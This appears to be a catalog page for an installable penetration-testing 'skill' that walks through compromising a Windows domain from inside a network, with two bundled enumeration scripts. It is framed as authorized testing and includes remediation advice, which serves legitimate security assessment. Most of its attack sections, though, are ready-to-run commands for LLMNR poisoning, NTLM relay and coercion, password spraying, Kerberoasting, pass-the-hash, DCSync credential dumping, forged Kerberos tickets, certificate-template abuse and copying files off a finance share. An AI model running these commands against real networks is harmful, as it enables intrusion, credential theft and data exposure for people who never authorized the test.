penetration testing

Conducting Internal Network Penetration Test

Execute an internal network penetration test simulating an insider threat or post-breach attacker to identify lateral movement paths, privilege escalation vectors, and sensitive data exposure within the corporate network.

assumed-breachimpacketinternal-pentestlateral-movementnetwork-securityprivilege-escalationresponder
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Overview

An internal network penetration test simulates an attacker who has already gained access to the internal network or a malicious insider. The tester operates from an "assumed breach" position — typically a standard domain workstation or network jack — and attempts lateral movement, privilege escalation, credential harvesting, and data exfiltration to determine the blast radius of a compromised endpoint.

When to Use

  • When conducting security assessments that involve conducting internal network penetration test
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Signed Rules of Engagement with internal network scope
  • Network access: physical Ethernet drop or VPN connection to internal VLAN
  • Standard domain user credentials (assumed breach model) or unauthenticated access
  • Testing laptop with Kali Linux, Impacket, Responder, BloodHound
  • Coordination with IT/SOC for monitoring and emergency contacts

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Phase 1 — Network Discovery and Enumeration

Initial Network Reconnaissance

# Identify your own network position
ip addr show
ip route show
cat /etc/resolv.conf
 
# ARP scan for live hosts on local subnet
arp-scan --localnet --interface eth0
 
# Nmap host discovery across internal ranges
nmap -sn 10.0.0.0/8 --exclude 10.0.0.1 -oG internal_hosts.gnmap
nmap -sn 172.16.0.0/12 -oG internal_hosts_172.gnmap
nmap -sn 192.168.0.0/16 -oG internal_hosts_192.gnmap
 
# Extract live hosts
grep "Status: Up" internal_hosts.gnmap | awk '{print $2}' > live_hosts.txt
 
# Port scan live hosts — top 1000 ports
nmap -sS -sV -T4 -iL live_hosts.txt -oA internal_tcp_scan
 
# Service-specific scans
nmap -p 445 --open -iL live_hosts.txt -oG smb_hosts.gnmap
nmap -p 3389 --open -iL live_hosts.txt -oG rdp_hosts.gnmap
nmap -p 22 --open -iL live_hosts.txt -oG ssh_hosts.gnmap
nmap -p 1433,3306,5432,1521,27017 --open -iL live_hosts.txt -oG db_hosts.gnmap

Active Directory Enumeration

# Enumerate domain information with domain credentials
# Using CrackMapExec / NetExec
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --shares
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --users
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --groups
 
# LDAP enumeration
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf
 
# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --lsa
 
# BloodHound data collection
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local -ns 10.0.0.5 -c all
# Import JSON files into BloodHound GUI for attack path analysis
 
# Enum4linux-ng for legacy enumeration
enum4linux-ng -A 10.0.0.5 -u 'testuser' -p 'Password123'

Network Service Enumeration

# SMB share enumeration
smbclient -L //10.0.0.10 -U 'testuser%Password123'
smbmap -H 10.0.0.10 -u 'testuser' -p 'Password123' -R
 
# SNMP enumeration
snmpwalk -v2c -c public 10.0.0.1
 
# DNS zone transfer attempt
dig axfr corp.local @10.0.0.5
 
# NFS enumeration
showmount -e 10.0.0.15
 
# MSSQL enumeration
impacket-mssqlclient 'corp.local/testuser:Password123@10.0.0.20' -windows-auth

Phase 2 — Credential Attacks

Network Credential Capture

# Responder — LLMNR/NBT-NS/mDNS poisoning
sudo responder -I eth0 -dwPv
 
# Capture NTLMv2 hashes from Responder logs
cat /usr/share/responder/logs/NTLMv2-*.txt
 
# mitm6 — IPv6 DNS takeover
sudo mitm6 -d corp.local
 
# ntlmrelayx — relay captured credentials
impacket-ntlmrelayx -tf smb_targets.txt -smb2support -socks
 
# PetitPotam — coerce NTLM authentication
python3 PetitPotam.py -u 'testuser' -p 'Password123' -d corp.local \
  attacker_ip 10.0.0.5

Password Attacks

# Crack captured NTLMv2 hashes
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule
 
# Password spraying (careful with lockout policies)
netexec smb 10.0.0.5 -u users.txt -p 'Spring2025!' --no-bruteforce
netexec smb 10.0.0.5 -u users.txt -p 'Company2025!' --no-bruteforce
 
# Kerberoasting — target service accounts
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
  -outputfile kerberoast_hashes.txt
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
 
# AS-REP Roasting — target accounts without pre-auth
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
  -outputfile asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Phase 3 — Exploitation and Lateral Movement

Lateral Movement Techniques

# Pass-the-Hash with Impacket
impacket-psexec 'corp.local/admin@10.0.0.30' -hashes :aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
 
# WMI execution
impacket-wmiexec 'corp.local/admin:AdminPass123@10.0.0.30'
 
# Evil-WinRM for PowerShell remoting
evil-winrm -i 10.0.0.30 -u admin -p 'AdminPass123'
 
# SMBExec
impacket-smbexec 'corp.local/admin:AdminPass123@10.0.0.30'
 
# RDP access
xfreerdp /v:10.0.0.30 /u:admin /p:'AdminPass123' /cert-ignore /dynamic-resolution
 
# SSH pivoting
ssh -D 9050 user@10.0.0.40
proxychains nmap -sT -p 80,443,445,3389 10.10.0.0/24

Privilege Escalation

# Windows privilege escalation
# Check for local admin via token impersonation
meterpreter> getsystem
meterpreter> run post/multi/recon/local_exploit_suggester
 
# PowerShell-based privesc checks
# Run PowerUp
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"
 
# Check for unquoted service paths
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v """
 
# Linux privilege escalation
./linpeas.sh
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab

Domain Escalation

# DCSync attack (requires replication rights)
impacket-secretsdump 'corp.local/domainadmin:DaPass123@10.0.0.5' -just-dc
 
# Golden Ticket attack
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local administrator
 
# Silver Ticket attack
impacket-ticketer -nthash <service_hash> -domain-sid S-1-5-21-... \
  -domain corp.local -spn MSSQL/db01.corp.local administrator
 
# ADCS exploitation (Certifried, ESC1-ESC8)
certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5
certipy req -u 'testuser@corp.local' -p 'Password123' -target ca01.corp.local \
  -template VulnerableTemplate -ca CORP-CA -upn administrator@corp.local

Phase 4 — Data Access and Impact Demonstration

# Access sensitive file shares
smbclient //10.0.0.10/Finance -U 'domainadmin%DaPass123'
> dir
> get Q4_Financial_Report.xlsx
 
# Database access
impacket-mssqlclient 'sa:DbPassword123@10.0.0.20'
SQL> SELECT name FROM sys.databases;
SQL> SELECT TOP 10 * FROM customers;
 
# Extract proof of access (DO NOT exfiltrate real data)
echo "PENTEST-PROOF-INTERNAL-$(date +%Y%m%d)" > /tmp/proof.txt
 
# Document access chain
# Initial Access -> Responder -> NTLMv2 crack -> Lateral to WS01
# -> Local admin -> Mimikatz -> DA creds -> DCSync -> Full domain compromise

Phase 5 — Reporting

Attack Path Documentation

Attack Path 1: Domain Compromise via LLMNR Poisoning
  Step 1: LLMNR/NBT-NS poisoning captured NTLMv2 hash (T1557.001)
  Step 2: Hash cracked offline — user: jsmith, password: Welcome2025!
  Step 3: jsmith had local admin on WS042 — lateral movement via PsExec (T1021.002)
  Step 4: Mimikatz extracted DA credentials from WS042 memory (T1003.001)
  Step 5: DCSync with DA credentials — all domain hashes extracted (T1003.006)
  Impact: Complete domain compromise from unauthenticated network position

Findings Severity Matrix

Finding CVSS MITRE ATT&CK Remediation
LLMNR/NBT-NS poisoning 8.1 T1557.001 Disable LLMNR/NBT-NS via GPO
Kerberoastable service accounts 7.5 T1558.003 Use gMSA, 25+ char passwords
Local admin reuse 8.4 T1078 Deploy LAPS, unique local admin passwords
Weak domain passwords 7.2 T1110 Enforce 14+ char minimum, blacklist common passwords
Unrestricted DCSync 9.8 T1003.006 Audit replication rights, implement tiered admin model

Tools Reference

Tool Purpose
Responder LLMNR/NBT-NS/mDNS poisoning
Impacket AD attack suite (secretsdump, psexec, wmiexec, etc.)
BloodHound AD attack path visualization
NetExec (CrackMapExec) Network service enumeration and spraying
Evil-WinRM PowerShell remoting client
Certipy AD Certificate Services exploitation
Mimikatz Windows credential extraction
Hashcat Password hash cracking
Nmap Network scanning and enumeration
LinPEAS/WinPEAS Privilege escalation enumeration

References

Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md1.8 KB

Internal Network Penetration Test — API Reference

Libraries

Library Install Purpose
ldap3 pip install ldap3 LDAP queries for AD enumeration
impacket pip install impacket SMB relay, credential dumping, lateral movement tools
python-nmap pip install python-nmap Python wrapper for nmap scanning

Key Tools & Commands

Tool Command Purpose
nmap nmap -sV -sC --top-ports 1000 <target> Service version and script scan
Responder responder -I eth0 -A LLMNR/NBT-NS poisoning (analyze mode)
CrackMapExec cme smb <target> --gen-relay-list Find hosts with SMB signing disabled
BloodHound bloodhound-python -d domain -u user -p pass AD attack path mapping
ntlmrelayx ntlmrelayx.py -t <target> -smb2support NTLM relay attack

Common Internal Vulnerabilities

Vulnerability Impact CVSS
SMB signing disabled NTLM relay attacks 7.5
LLMNR/NBT-NS enabled Credential capture 7.0
Default credentials Unauthorized access 9.0
Unpatched EternalBlue (MS17-010) Remote code execution 9.8
Kerberoasting-eligible SPNs Offline password cracking 7.5

Windows Event IDs for Detection

Event ID Description
4625 Failed logon attempt (brute force indicator)
4648 Logon with explicit credentials
4768 Kerberos TGT request
4769 Kerberos service ticket request

External References

standards.md1.1 KB

Standards — Internal Network Penetration Testing

Frameworks

Key MITRE ATT&CK Techniques for Internal Testing

Tactic Technique ID
Discovery Network Service Discovery T1046
Credential Access LLMNR/NBT-NS Poisoning T1557.001
Credential Access Kerberoasting T1558.003
Credential Access OS Credential Dumping T1003
Lateral Movement Remote Services: SMB T1021.002
Lateral Movement Pass the Hash T1550.002
Privilege Escalation Domain Policy Modification T1484
Collection Data from Network Shared Drive T1039

Compliance Requirements

Standard Internal Pentest Requirement
PCI DSS v4.0 Req 11.4.2 — Internal penetration testing annually
ISO 27001 A.18.2.3 — Technical compliance review
SOC 2 CC7.1 — Detection and monitoring
NIST CSF PR.IP-12, DE.CM
workflows.md1.4 KB

Workflows — Internal Network Penetration Testing

Attack Flow

Network Access (Ethernet/VPN)

    ├── Network Discovery (Nmap, ARP scan)

    ├── Credential Capture (Responder, mitm6)
    │       │
    │       └── Hash Cracking (Hashcat)

    ├── AD Enumeration (BloodHound, LDAP)
    │       │
    │       ├── Kerberoasting
    │       ├── AS-REP Roasting
    │       └── GPP Password Extraction

    ├── Lateral Movement (PsExec, WMI, WinRM)
    │       │
    │       └── Credential Harvesting (Mimikatz, LSASS dump)

    ├── Privilege Escalation
    │       │
    │       ├── Local (unquoted paths, token impersonation)
    │       └── Domain (DCSync, Golden Ticket, ADCS)

    └── Impact Demonstration
            ├── Sensitive data access
            ├── Domain compromise proof
            └── Attack path documentation

Evidence Collection Workflow

evidence/
├── credentials/
│   ├── responder_captures/
│   ├── cracked_hashes/
│   └── dumped_creds/
├── screenshots/
├── bloodhound/
│   └── domain_data.json
├── scan_results/
│   ├── nmap/
│   └── shares/
└── attack_paths/
    └── path_documentation.md

Scripts 2

agent.py5.9 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Internal network penetration testing agent using nmap and impacket."""

import json
import argparse
import subprocess
import socket
from datetime import datetime


def run_nmap_scan(target, scan_type="quick"):
    """Run nmap network discovery and port scanning."""
    scan_args = {
        "quick": ["-sV", "-sC", "--top-ports", "100", "-T4"],
        "full": ["-sV", "-sC", "-p-", "-T3"],
        "stealth": ["-sS", "-Pn", "-T2", "--top-ports", "1000"],
    }
    args = scan_args.get(scan_type, scan_args["quick"])
    cmd = ["nmap"] + args + ["-oX", "-", target]
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=600)
        return {"status": "completed", "output": result.stdout[:2000]}
    except FileNotFoundError:
        return {"status": "error", "message": "nmap not installed"}
    except subprocess.TimeoutExpired:
        return {"status": "timeout"}


def check_smb_signing(target):
    """Check if SMB signing is required on target hosts."""
    cmd = ["nmap", "--script", "smb2-security-mode", "-p", "445", target]
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
        signing_disabled = "not required" in result.stdout.lower()
        return {
            "target": target,
            "smb_signing_required": not signing_disabled,
            "vulnerable_to_relay": signing_disabled,
            "severity": "HIGH" if signing_disabled else "INFO",
        }
    except (FileNotFoundError, subprocess.TimeoutExpired):
        return {"target": target, "error": "nmap scan failed"}


def check_llmnr_nbns(interface="eth0"):
    """Check for LLMNR/NBT-NS poisoning opportunities."""
    return {
        "check": "LLMNR/NBT-NS",
        "tool": "Responder",
        "command": f"responder -I {interface} -A",
        "risk": "Cleartext credential capture via name resolution poisoning",
        "severity": "HIGH",
        "mitigation": "Disable LLMNR via GPO, disable NBT-NS in network adapter settings",
    }


def enumerate_ad_info(dc_ip, domain, username, password):
    """Enumerate Active Directory information via LDAP."""
    try:
        import ldap3
        server = ldap3.Server(dc_ip, get_info=ldap3.ALL)
        conn = ldap3.Connection(server, user=f"{domain}\\{username}",
                                password=password, authentication=ldap3.NTLM, auto_bind=True)
        base_dn = ",".join([f"DC={p}" for p in domain.split(".")])
        conn.search(base_dn, "(objectClass=computer)", attributes=["cn", "operatingSystem"])
        computers = [{"name": str(e.cn), "os": str(e.operatingSystem)} for e in conn.entries]
        conn.search(base_dn, "(&(objectClass=user)(adminCount=1))",
                     attributes=["sAMAccountName"])
        admins = [str(e.sAMAccountName) for e in conn.entries]
        conn.unbind()
        return {"computers": computers[:20], "admin_accounts": admins, "total_hosts": len(computers)}
    except Exception as e:
        return {"error": str(e)}


def check_common_vulns(target):
    """Check for common internal network vulnerabilities."""
    checks = []
    for port, service in [(21, "FTP"), (23, "Telnet"), (80, "HTTP"), (3389, "RDP"),
                          (5900, "VNC"), (1433, "MSSQL"), (3306, "MySQL")]:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(2)
        try:
            sock.connect((target, port))
            checks.append({"port": port, "service": service, "status": "open"})
        except (socket.timeout, ConnectionRefusedError, OSError):
            pass
        finally:
            sock.close()
    return checks


def run_pentest(target, dc_ip=None, domain=None, username=None, password=None):
    """Execute internal network penetration test."""
    print(f"\n{'='*60}")
    print(f"  INTERNAL NETWORK PENETRATION TEST")
    print(f"  Target: {target}")
    print(f"  Generated: {datetime.utcnow().isoformat()} UTC")
    print(f"{'='*60}\n")

    ports = check_common_vulns(target)
    print(f"--- OPEN PORTS ({len(ports)}) ---")
    for p in ports:
        print(f"  Port {p['port']}/{p['service']}: {p['status']}")

    smb = check_smb_signing(target)
    print(f"\n--- SMB SIGNING ---")
    print(f"  Signing required: {smb.get('smb_signing_required', 'N/A')}")
    print(f"  Relay vulnerable: {smb.get('vulnerable_to_relay', 'N/A')}")

    llmnr = check_llmnr_nbns()
    print(f"\n--- LLMNR/NBT-NS ---")
    print(f"  Risk: {llmnr['risk']}")
    print(f"  Severity: {llmnr['severity']}")

    ad_info = {}
    if dc_ip and domain and username and password:
        ad_info = enumerate_ad_info(dc_ip, domain, username, password)
        print(f"\n--- AD ENUMERATION ---")
        print(f"  Total hosts: {ad_info.get('total_hosts', 0)}")
        print(f"  Admin accounts: {ad_info.get('admin_accounts', [])}")

    return {"ports": ports, "smb": smb, "llmnr": llmnr, "ad": ad_info}


def main():
    parser = argparse.ArgumentParser(description="Internal Network Pentest Agent")
    parser.add_argument("--target", required=True, help="Target IP or CIDR range")
    parser.add_argument("--dc-ip", help="Domain controller IP for AD enumeration")
    parser.add_argument("--domain", help="AD domain name")
    parser.add_argument("--username", help="AD username")
    parser.add_argument("--password", help="AD password")
    parser.add_argument("--output", help="Save report to JSON file")
    args = parser.parse_args()

    report = run_pentest(args.target, args.dc_ip, args.domain, args.username, args.password)
    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2, default=str)
        print(f"\n[+] Report saved to {args.output}")


if __name__ == "__main__":
    main()
process.py8.2 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
Internal Network Penetration Test — Automation Process

Automates network discovery, AD enumeration, and reporting for internal pentests.
Requires: nmap, netexec, ldap3, bloodhound-python.

Usage:
    python process.py --subnet 10.0.0.0/24 --domain corp.local --dc-ip 10.0.0.5 --output ./results
"""

import subprocess
import json
import os
import sys
import argparse
import socket
import datetime
from pathlib import Path
from typing import Optional


def run_command(cmd: list[str], timeout: int = 300) -> tuple[str, str, int]:
    """Execute a shell command and return stdout, stderr, return code."""
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
        return result.stdout, result.stderr, result.returncode
    except subprocess.TimeoutExpired:
        return "", f"Command timed out after {timeout}s", -1
    except FileNotFoundError:
        return "", f"Command not found: {cmd[0]}", -1


def discover_hosts(subnet: str, output_dir: Path) -> list[str]:
    """Discover live hosts on the internal network."""
    print(f"[*] Discovering live hosts on {subnet}...")
    output_file = output_dir / "host_discovery"

    stdout, stderr, rc = run_command(
        ["nmap", "-sn", subnet, "-oA", str(output_file)], timeout=600
    )

    live_hosts = []
    gnmap = f"{output_file}.gnmap"
    if os.path.exists(gnmap):
        with open(gnmap) as f:
            for line in f:
                if "Status: Up" in line:
                    ip = line.split(" ")[1]
                    live_hosts.append(ip)

    hosts_file = output_dir / "live_hosts.txt"
    with open(hosts_file, "w") as f:
        f.write("\n".join(live_hosts))

    print(f"[+] Found {len(live_hosts)} live hosts")
    return live_hosts


def port_scan(hosts_file: str, output_dir: Path) -> dict:
    """Run port scan against discovered hosts."""
    print("[*] Running port scan on live hosts...")
    output_prefix = str(output_dir / "port_scan")

    stdout, stderr, rc = run_command(
        ["nmap", "-sS", "-sV", "-T4", "--top-ports", "1000",
         "-iL", hosts_file, "-oA", output_prefix],
        timeout=3600
    )

    return {"output_prefix": output_prefix, "return_code": rc}


def enumerate_smb_shares(hosts: list[str], username: str, password: str,
                          domain: str, output_dir: Path) -> list[dict]:
    """Enumerate SMB shares across internal hosts."""
    print("[*] Enumerating SMB shares...")
    results = []

    for host in hosts:
        stdout, stderr, rc = run_command(
            ["netexec", "smb", host, "-u", username, "-p", password,
             "-d", domain, "--shares"],
            timeout=30
        )
        if rc == 0 and stdout:
            results.append({"host": host, "output": stdout})

    output_file = output_dir / "smb_shares.json"
    with open(output_file, "w") as f:
        json.dump(results, f, indent=2)

    print(f"[+] Enumerated shares on {len(results)} hosts")
    return results


def check_smb_signing(hosts: list[str], output_dir: Path) -> list[dict]:
    """Check SMB signing status on discovered hosts."""
    print("[*] Checking SMB signing status...")
    results = []

    for host in hosts:
        stdout, stderr, rc = run_command(
            ["netexec", "smb", host, "--gen-relay-list",
             str(output_dir / "relay_targets.txt")],
            timeout=30
        )
        if "signing:False" in stdout:
            results.append({"host": host, "smb_signing": False})
        elif "signing:True" in stdout:
            results.append({"host": host, "smb_signing": True})

    output_file = output_dir / "smb_signing.json"
    with open(output_file, "w") as f:
        json.dump(results, f, indent=2)

    unsigned = [r for r in results if not r.get("smb_signing")]
    print(f"[+] Found {len(unsigned)} hosts without SMB signing")
    return results


def run_bloodhound_collection(username: str, password: str,
                                domain: str, dc_ip: str,
                                output_dir: Path) -> str:
    """Run BloodHound data collection."""
    print("[*] Running BloodHound collection...")
    stdout, stderr, rc = run_command(
        ["bloodhound-python", "-u", username, "-p", password,
         "-d", domain, "-ns", dc_ip, "-c", "all",
         "--output-prefix", str(output_dir / "bloodhound")],
        timeout=600
    )

    if rc == 0:
        print("[+] BloodHound data collected successfully")
    else:
        print(f"[-] BloodHound collection issue: {stderr[:200]}")

    return str(output_dir)


def check_password_policy(domain: str, dc_ip: str, username: str,
                           password: str) -> dict:
    """Retrieve domain password policy."""
    print("[*] Retrieving domain password policy...")
    stdout, stderr, rc = run_command(
        ["netexec", "smb", dc_ip, "-u", username, "-p", password,
         "-d", domain, "--pass-pol"],
        timeout=30
    )

    return {"output": stdout, "return_code": rc}


def generate_report(live_hosts: list[str], smb_results: list[dict],
                     signing_results: list[dict], output_dir: Path) -> str:
    """Generate internal pentest summary report."""
    print("[*] Generating report...")
    report_file = output_dir / "internal_pentest_report.md"
    timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC")

    with open(report_file, "w") as f:
        f.write("# Internal Network Penetration Test Report\n\n")
        f.write(f"**Generated:** {timestamp}\n\n---\n\n")

        f.write("## Network Discovery\n\n")
        f.write(f"Total live hosts: **{len(live_hosts)}**\n\n")

        f.write("## SMB Share Analysis\n\n")
        f.write(f"Hosts with accessible shares: **{len(smb_results)}**\n\n")

        f.write("## SMB Signing Status\n\n")
        unsigned = [r for r in signing_results if not r.get("smb_signing")]
        f.write(f"Hosts without SMB signing: **{len(unsigned)}** (vulnerable to relay)\n\n")
        if unsigned:
            f.write("| Host | SMB Signing |\n|------|------------|\n")
            for r in unsigned:
                f.write(f"| {r['host']} | Disabled |\n")
            f.write("\n")

        f.write("## Recommendations\n\n")
        f.write("1. Enable SMB signing on all domain-joined systems via GPO\n")
        f.write("2. Disable LLMNR and NBT-NS across the domain\n")
        f.write("3. Implement LAPS for unique local admin passwords\n")
        f.write("4. Deploy tiered admin model for Active Directory\n")
        f.write("5. Enforce strong password policy (14+ characters)\n")
        f.write("6. Use Group Managed Service Accounts (gMSA)\n\n")

    print(f"[+] Report generated: {report_file}")
    return str(report_file)


def main():
    parser = argparse.ArgumentParser(description="Internal Network Pentest Automation")
    parser.add_argument("--subnet", required=True, help="Target subnet (CIDR)")
    parser.add_argument("--domain", required=True, help="AD domain name")
    parser.add_argument("--dc-ip", required=True, help="Domain controller IP")
    parser.add_argument("--username", default="", help="Domain username")
    parser.add_argument("--password", default="", help="Domain password")
    parser.add_argument("--output", default="./results", help="Output directory")
    args = parser.parse_args()

    output_dir = Path(args.output)
    output_dir.mkdir(parents=True, exist_ok=True)

    print("=" * 60)
    print(" Internal Network Penetration Test")
    print(f" Subnet: {args.subnet}")
    print(f" Domain: {args.domain}")
    print("=" * 60)

    live_hosts = discover_hosts(args.subnet, output_dir)
    port_scan(str(output_dir / "live_hosts.txt"), output_dir)

    smb_results = []
    signing_results = check_smb_signing(live_hosts[:50], output_dir)

    if args.username and args.password:
        smb_results = enumerate_smb_shares(
            live_hosts[:50], args.username, args.password, args.domain, output_dir
        )
        run_bloodhound_collection(
            args.username, args.password, args.domain, args.dc_ip, output_dir
        )
        check_password_policy(args.domain, args.dc_ip, args.username, args.password)

    generate_report(live_hosts, smb_results, signing_results, output_dir)
    print("\n[+] Internal pentest automation complete")


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 1.5 KB
Keep exploring